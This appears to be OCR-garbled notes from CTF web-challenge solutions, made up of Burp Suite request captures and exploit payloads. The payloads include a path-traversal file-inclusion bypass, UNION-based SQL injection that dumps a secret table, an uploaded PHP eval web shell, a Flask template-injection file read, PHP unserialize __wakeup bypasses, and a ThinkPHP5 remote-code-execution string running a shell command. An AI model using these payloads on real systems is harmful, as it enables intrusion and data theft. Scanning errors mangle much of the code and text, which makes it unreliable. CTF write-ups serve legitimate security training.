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Burp Intruder Repeater Window Help
[ Target T Proxy I Spider I Scanner T Intruder TRepeate.' T Sequencer T Decoder I Comparer T Extender I Project options T User options T}'-\Ierts 1
1«
Go Cancel <|r > Follow redirection Target: http://111.198.29.45:33482 ?
Request Response
J RawT Headers T Hex 1 J Raw T Headers T Hex 1
GET /index.php HTTPR/L.L N HTTP/Ll.l 302 Found N
Host: 111.198.29.45:3348z2 - Date: Fri, Z8 Feb Z0IZ0 05:18:08 GHMT P
User—Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; =x€4; rv:73.0) Server: Apache/2.4.38 (Debian)
Gecko/20100L0L Firefox/73.0 ¥-Powsred-Ey: PHP/7.2.21
Locept: FLAG: flag{very haby_ webh}
text/html, application/xhtml+xml, application/xml;q=0.9, image/ wehp Location: 1.php
S *ig=0.8 Content-Length: 17
Aocept-Language: Connection: close
zh-CH, zh;¢=0.8, zh-TW;q=0.7, ch-HE; qq=0.5,en-US; q=0.3,en;q=0.2 Content-Type: text/html; charssc=UTF-8
Connection: olose
Upgrade-Insecure-Requests: 1 Flag is hidden!
= -
v v
? Type a search ferm 0 matches ? < + p Type a search term 0 matches
Daone 257 bytes | 33 millis
warmup

F12% 3)JR % %% BEsource .php

hint.php: flag not here, and flag in fffflllaaaagggg




<?php
highlight_file(__ FILE_ );
class emmm

{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
o,
mb_strpos($page . '?', '?")
)s
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?")
)
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
8& is_string($_REQUEST['file'])
&& emmm: :checkFile($_REQUEST['file'])
) {
include $ REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";

?>
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payload: source.php?file=hint.php%253f../../../../../../../Ffffllllaaaagggg
NewsCenter

ZELTERIsqiEN, BEE—HSERE Lsqmapiii? T

-1' union select 1,2,3 from information_schema.tables

-1' union select 1,database(),3 from information_schema.tables#

-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='news'#

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='secret_table'#
-1' union select 1,fl4g,3 from secret_table#

Search news

search
-1' union select 1,fl4g,3 from secret_table#|

News

QCTF{sq1_inJec7ion_ezzz}
3
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function $(){var e=document.getElementByld("c").value;if(e.length==16)if(e.match(/#be0f23/)!=null)if(e.match(/233ac
N=null)if(e.match(/e98aa$/)! =null)if(e. match(/c7be9/)!=null){var t=["f","s_a","i","e}"};var n=["a","_hOI","n"];var r=["g{","e","_0"Lvar i=["it","_","n"];var
s=[t.nr,i];for(var 0=0;0<13;++0){document.write(s[0%4][0]);s[0%4].splice(0,1)}}}document.write('<input id="c"> <button onclick=$()> Ok </button>");
delete

IEN 5 BN A PHERR K15 2 beof233ac7be98aa , evalifiT — Tt e & Flflag

unserialize3

<?php

class xctf

{
public $flag = '111';
public function __ wakeup()

{

exit('bad requests');
}
}

$a = new xctf();
print(serialize($a))

?>

ARFITR S S, RRBRENMBKERTHELE, Wkl wakeup()$4T
Payload: ?code=0:4:"xctf":2:{s:4:"flag";s:3:"111";}
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[ Target T Proxy I Spider I Scanner T Intruder TRepeate.' T Sequencer T Decoder I Comparer T Extender I Project options T User options T}'-\Ierts 1

1«2« |

Go Cancel < |T >

Request

J RawT Params T Headers I Hex 1

Target: hitp://111.198.29.45:51000 & | 7 |

Response

| Raw | Headers | Hex |

POST /index.php HTTR/Ll.1

Host: 111.198.25.45:51000

User—Agent: Mozilla/5.0 (Windows NT 10.0; Wined; =€4:
rv:73.0) Gecko/ /20100101 Firefox/73.0

Loocept:

text/html, application/xhtml+xml, application/xml;q=0.9, im
age/webp, */ *;q=0.8

Aocept-Language:

zh-CH, zh;¢=0.8, zh-TW; =0.7, ch-HE; g=0.5,en-Us; q=0.3, en; q=
0.z

Content-Type: multipart/form-data;
boundary=———————-——————————————————— 9516188113955
Content-Length: 219

Origin: http://111.198.29.45:51000

Connection: close

Peferer: http://111.198.29.45:51000/
Upgrades-Insecure-Requests: 1

————————————————————————————— S5161BE8113985
Content-Disposition: form-data; namse="upfile':
filenamwe="1.php"

Content-Type: image/Jjpeg

<?php @eval($_POST['Dxdawn']j;?>
————————————————————————————— G5161B6E113995——

Done
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HTTF/1l.l1 200 CK

Date: Fri, IZ8 Feb 2020 07:05:1&6 GMT
Server: Apache/2.4.25 (Debian)
¥-Powered-EBEv: PHP/5.6.37

Vary: Accept-Encoding

Content-Length: 95&

Connection: close

Content-Type: text/html; charssc=UTF-8

upload success : uploadf1582873516.1.php
<!Doctype html>

<htmls>
<head> _/
<meta http-squiv="Content-Type" content="text/html;
charset=utf-8" />
<gcript type="text/javascript's>
Array.prototype.contains = function (obj) {
var i = this.length:
while (i-—-) {
if (this[i] === obj) {
return true:;
¥
¥
return false;
i
function check(){ =
upfile = document . getElementById( "upfile") ; ]
? < + > Type a search term 0 matches

1,173 bytes | 74 millis

¥TJEEE, R—Tflaghiis 7
Web_python_template_injection

python flask AR iEN, X B H$E4 Hpayload

{{"'._class__ ._mro_ [2]._ subclasses__ ()[40]('fl4g"').read()}}

23] EERE: https://www.freebuf.com/column/187845.htm
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<?php
class Demo {
private $file = 'index.php';
public function __ construct($file) {
$this->file = $file;
}
function _ destruct() {
echo @highlight_file($this->file, true);

}
function __ wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A = new Demo('fl4g.php');
$C = serialize($A);
//string(49) "0:4:"Demo":1:{s:10:"Demofile";s:8:"flag.php";}"
$C = str_replace('0:4', '0:+4',$C);//%sidpreg_match
$C = str_replace(':1:', ':2:',$C);//%iTwakeup
var_dump($C);
var_dump (base64_encode($C));
?>

Payload: ?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERLbWS8AZM1sZSI7czo40iJmbDRnNLNBocCI7fQ==

php_rce
Think PHP5 2 A% #4047 4% I

Payload: ?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[@]=system&vars[1][]=php -r
'system("cat%20../../../flag");"
S5 hitps:/www.cnblogs.com/yuzly/p/11460285.html
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